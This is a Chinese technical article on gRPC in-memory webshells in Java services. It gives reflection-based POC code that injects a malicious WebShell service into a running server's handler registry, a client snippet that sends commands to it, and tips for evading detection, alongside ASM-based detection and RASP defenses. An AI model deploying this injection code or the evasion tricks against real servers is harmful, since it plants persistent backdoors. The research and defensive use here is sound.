gRPC内存马研究与查杀
字数 1124 2025-08-26 22:12:02

gRPC内存马研究与查杀技术详解

1. gRPC基础概念

1.1 RPC与gRPC简介

RPC(远程过程调用)

  • 允许一台计算机上的程序调用另一台计算机上的程序
  • 面向对象场景下称为远程方法调用(如Java RMI)

gRPC

  • Google开发的高性能开源RPC框架
  • 常用于微服务间跨语言通信
  • 使用Protocol Buffers作为接口定义语言(IDL)
  • 通过proto文件定义消息结构体和RPC函数

1.2 Protocol Buffers工作流程

  1. 定义.proto文件
  2. 使用protoc生成对应语言代码
  3. 在项目中集成生成的代码
  4. 建立gRPC服务端和客户端

2. gRPC内存马实现原理

2.1 gRPC服务注册机制

服务端启动流程:

Server server = NettyServerBuilder.forPort(port)
    .addService(new UserServiceImpl())
    .build()
    .start();

关键注册过程:

  1. addService方法接收BindableService实现类
  2. 调用bindService()生成ServerServiceDefinition
  3. 通过ServerImplBuilder构建服务
  4. 最终注册到InternalHandlerRegistry

2.2 内存马注入点分析

攻击面:

  • ServerImpl类的registry字段存储服务定义
  • InternalHandlerRegistry包含两个关键字段:
    • services: 存储ServerServiceDefinition列表
    • methods: 存储ServerMethodDefinition映射

注入思路:

  1. 通过反射获取ServerImpl实例
  2. 修改registry中的servicesmethods字段
  3. 添加恶意的ServerServiceDefinition

3. gRPC内存马实现

3.1 注入POC代码

public static void changeGRPCService(Server server){
    try {
        // 获取registry字段
        Field field = server.getClass().getDeclaredField("registry");
        field.setAccessible(true);
        Object registry = field.get(server);
        
        // 获取并修改services列表
        Class<?> handler = Class.forName("io.grpc.internal.InternalHandlerRegistry");
        Field services = handler.getDeclaredField("services");
        services.setAccessible(true);
        List servicesList = (List) services.get(registry);
        List<Object> newServicesList = new ArrayList<Object>(servicesList);
        
        // 添加WebShell服务
        Class<?> cls = Class.forName("com.demo.shell.protocol.WebShellServiceGrpc$WebShellServiceImplBase");
        Method m = cls.getDeclaredMethod("bindService");
        BindableService obj = new WebshellServiceImpl();
        ServerServiceDefinition service = (ServerServiceDefinition) m.invoke(obj);
        newServicesList.add(service);
        services.set(registry, Collections.unmodifiableList(newServicesList));
        
        // 获取并修改methods映射
        Field methods = handler.getDeclaredField("methods");
        methods.setAccessible(true);
        Map methodsMap = (Map) methods.get(registry);
        Map<String, Object> newMethodsMap = new HashMap<String, Object>(methodsMap);
        for (ServerMethodDefinition<?, ?> serverMethodDefinition : service.getMethods()) {
            newMethodsMap.put(serverMethodDefinition.getMethodDescriptor().getFullMethodName(), 
                            serverMethodDefinition);
        }
        methods.set(registry, Collections.unmodifiableMap(newMethodsMap));
    } catch (Exception e) {
        e.printStackTrace();
    }
}

3.2 客户端调用示例

Webshell webshell = Webshell.newBuilder()
    .setPwd("x")
    .setCmd("calc")
    .build();

ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port)
    .usePlaintext().build();
WebShellServiceGrpc.WebShellServiceBlockingStub stub = WebShellServiceGrpc.newBlockingStub(channel);
Webshell s = stub.exec(webshell);

4. gRPC内存马检测与防御

4.1 检测技术实现

检测思路:

  1. 扫描所有继承io.grpc.BindableService的类
  2. 分析这些类中的方法调用链
  3. 识别危险Sink函数

关键代码(ASM实现):

public class GrpcClassVisitor extends ClassVisitor {
    @Override
    public void visit(int version, int access, String name, 
                     String signature, String superName, String[] interfaces) {
        if (superName.contains("ServiceGrpc")) {
            try {
                String cls = Thread.currentThread().getContextClassLoader()
                    .loadClass(superName.replaceAll("/", "\\."))
                    .getInterfaces()[0].getName();
                if (cls.equals("io.grpc.BindableService")) {
                    this.ClassName = name;
                }
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
        }
        super.visit(version, access, name, signature, superName, interfaces);
    }
}

4.2 防御方案

  1. RASP防护

    • 监控ServerImpl.registry字段修改
    • 拦截InternalHandlerRegistryservicesmethods修改
  2. 运行时检测

    • 定期扫描gRPC服务列表
    • 校验服务方法的合法性
  3. 绕过检测的对抗

    • 修改ClassLoader加载路径
    • 直接修改已有服务方法而非添加新服务

5. 参考资源

  1. Protocol Buffers官方文档
  2. gRPC官方文档
  3. M01N Team关于gRPC内存马的文章
  4. MemoryShellHunter检测工具
gRPC内存马研究与查杀技术详解 1. gRPC基础概念 1.1 RPC与gRPC简介 RPC(远程过程调用) : 允许一台计算机上的程序调用另一台计算机上的程序 面向对象场景下称为远程方法调用(如Java RMI) gRPC : Google开发的高性能开源RPC框架 常用于微服务间跨语言通信 使用Protocol Buffers作为接口定义语言(IDL) 通过proto文件定义消息结构体和RPC函数 1.2 Protocol Buffers工作流程 定义.proto文件 使用protoc生成对应语言代码 在项目中集成生成的代码 建立gRPC服务端和客户端 2. gRPC内存马实现原理 2.1 gRPC服务注册机制 服务端启动流程: 关键注册过程: addService 方法接收 BindableService 实现类 调用 bindService() 生成 ServerServiceDefinition 通过 ServerImplBuilder 构建服务 最终注册到 InternalHandlerRegistry 中 2.2 内存马注入点分析 攻击面: ServerImpl 类的 registry 字段存储服务定义 InternalHandlerRegistry 包含两个关键字段: services : 存储 ServerServiceDefinition 列表 methods : 存储 ServerMethodDefinition 映射 注入思路: 通过反射获取 ServerImpl 实例 修改 registry 中的 services 和 methods 字段 添加恶意的 ServerServiceDefinition 3. gRPC内存马实现 3.1 注入POC代码 3.2 客户端调用示例 4. gRPC内存马检测与防御 4.1 检测技术实现 检测思路: 扫描所有继承 io.grpc.BindableService 的类 分析这些类中的方法调用链 识别危险Sink函数 关键代码(ASM实现): 4.2 防御方案 RASP防护 : 监控 ServerImpl.registry 字段修改 拦截 InternalHandlerRegistry 的 services 和 methods 修改 运行时检测 : 定期扫描gRPC服务列表 校验服务方法的合法性 绕过检测的对抗 : 修改ClassLoader加载路径 直接修改已有服务方法而非添加新服务 5. 参考资源 Protocol Buffers官方文档 gRPC官方文档 M01N Team关于gRPC内存马的文章 MemoryShellHunter检测工具